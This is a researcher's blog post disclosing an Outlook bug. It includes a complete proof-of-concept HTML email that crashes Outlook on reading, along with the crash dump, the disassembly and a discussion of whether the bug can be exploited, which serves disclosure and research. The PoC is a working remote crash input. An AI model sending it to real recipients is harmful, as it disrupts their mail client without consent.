2017年3月27日星期一

An Interesting Outlook Bug

Last week I reported an interesting bug in Outlook to Microsoft - it's an HTML email, and when you send this email to someone, when he/she *just read* the email, Outlook will crash (similar dangerous level as my #BadWinmail bug if this one is exploitable). As today MSRC told me that they think it's a non-exploitable bug and it seems that they are not going to fix it in near future, I'm releasing the details in this quick write-up, and hopefully, for an "old pedant" style open discussion about the exploitability as I still have some doubts.:-)

The PoC could be as simple as the following, or you may download the .eml file here.

Content-Type: multipart/alternative; boundary="===============111111111111==
MIME-Version: 1.0
Subject: title
From: aa@msft.com
To: bb@msft.com

--===============111111111111==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

plain text area
--===============111111111111==
Content-Type: text/html; charset="us-ascii"
MIME-Version: 1.0

<html>
<head>
<style>body{display:none !important;}</style>
</head>
<body>    
<div>
e
</div>
<div>
<table>
<tr height="1%">
</tr>
</table>
</div>
<div>
e
</div>
</body>
</html>

--===============111111111111==--


If you do some tests based on the PoC you will quickly figure out that the CSS code "<style>body{display:none !important;}</style>" is something important here. For example, if we remove this line, Outlook won't crash. This also suggests that the bug is related to some "CSS rendering" code in Outlook.


The Crash

The following crash should be observed on Office 2010 14.0.7177.5000, full updated as of March 21, 2017. In fact, I believe it affects all Outlook versions.

(384.400): Access violation - code c0000005 (!!! second chance !!!)
eax=0020f580 ebx=0ea72288 ecx=00000000 edx=00000000 esi=191cdfd0 edi=5d064400
eip=5c5e17e5 esp=0020f56c ebp=0020f754 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
wwlib!DllGetLCID+0x25b35f:
5c5e17e5 f781e402000000040000 test dword ptr [ecx+2E4h],400h ds:0023:000002e4=????????
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0020f754 5c5a2b93 wwlib!DllGetLCID+0x25b35f
0020f774 5c1d80de wwlib!DllGetLCID+0x21c70d
0020f794 5c1d801b wwlib!GetAllocCounters+0x51906
0020f818 5c1d5c33 wwlib!GetAllocCounters+0x51843
0020f82c 5c26d803 wwlib!GetAllocCounters+0x4f45b
0020f83c 2f63f1b6 wwlib!GetAllocCounters+0xe702b
0020f880 2f63f06b outlook!GetMsoInst+0x32e2
0020f8a8 2ffb9d6b outlook!GetMsoInst+0x3197
0020f938 76b0ef1c outlook!PushSavedKeyToCicero+0x291d8
0020f944 7733367a kernel32!BaseThreadInitThunk+0xe
0020f984 7733364d ntdll!__RtlUserThreadStart+0x70
0020f99c 00000000 ntdll!_RtlUserThreadStart+0x1b

It crashes at the following address:

.text:31B417D2 loc_31B417D2: ; CODE XREF: sub_31714D18+42CB1Ej
.text:31B417D2 lea eax, [ebp+var_1DC]
.text:31B417D8 push eax
.text:31B417D9 push [ebp+var_4]
.text:31B417DC push ebx
.text:31B417DD call sub_3177CE19                          ;memory data at eax will be updated
.text:31B417E2 mov ecx, [eax+48h]                           ;read the pointer at offset 0x48
.text:31B417E5 test dword ptr [ecx+2E4h], 400h      ;crash


Since the data pointed by EAX (@31B417E2) will be updated in function "sub_3177CE19", I did some debugging in that function, and it seems that:
  1. There seems to be a custom heap allocator, as I've seen heap block headers, and links.
  2. The "sub_3177CE19" does the job locating the data based on the 1st param (a pointer) and 2nd param (always be 0), and the data will be copied to the heap block pointed by the 3nd param.
  3. According to my tests, the copied bytes are always 0x00, so that's why it seems to be a null pointer dereference bug.


Discussions

If security is that clear, there's no security research.:-) Due to the complexity of Office code and Microsoft keeps refusing to release Office symbols (I've said about this 1 million times), it's really hard to be that %100 sure from outside..

First point I'd put is that it's really hard to debug the data flow without symbols, if you look at the related code you will find that this isn't that firmly NULL pointer - instead the 0x00 bytes are copied from another pointer and that related to some internal structures. The 2nd is that when I tested it in a live env (email server + Outlook env), I've observed some different things. If I remember it correctly it's on an Outlook 2016 (32bit) + Windows 10 (64bit) env, when I receive/read such email, Outlook sometimes won't crash immediately, instead, it will crash at another different address when the user performs future actions on Outlook. I don't remember the details regarding the "live test", but it does increase my doubts..

To say the least, crashing someone's Outlook *remotely* is still a bad thing, right? Think about it.. someone is working on Outlook but Outlook crashes when he/she is reading the coming email..

Feel free to reach me about your thoughts.:-)

Thanks,
Haifei